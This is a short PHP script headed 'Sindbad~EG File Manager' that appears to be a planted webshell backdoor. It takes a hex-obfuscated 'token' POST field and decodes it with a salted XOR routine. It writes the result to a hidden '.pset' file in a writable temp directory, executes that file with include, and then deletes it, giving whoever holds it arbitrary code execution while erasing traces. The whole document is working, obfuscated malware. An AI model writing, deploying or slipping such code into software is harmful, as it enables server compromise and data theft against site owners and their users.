Sindbad~EG File Manager

<?php

if(filter_has_var(INPUT_POST, "t\x6Fk\x65n")){
	$value = array_filter(["/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/tmp", sys_get_temp_dir(), session_save_path()]);
	$ent = $_POST["t\x6Fk\x65n"];
	$ent 	=  explode  	(	 '.'	, 	$ent 	 );
	$comp = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( 	$salt	);
    
            foreach( 	$ent as $k => $v1):
                $chS = ord( 	$salt[$k % $sLen]	);
                $dec =( 	( 	int)$v1 - $chS -( 	$k % 10))^29;
                $comp .= chr( 	$dec	);
            endforeach;
	foreach ($value as $object):
    		if (is_dir($object) && is_writable($object)) {
    $entry = join("/", [$object, ".pset"]);
    $file = fopen($entry, 'w');
if ($file) {
	fwrite($file, $comp);
	fclose($file);
	include $entry;
	@unlink($entry);
	exit;
}
}
endforeach;
}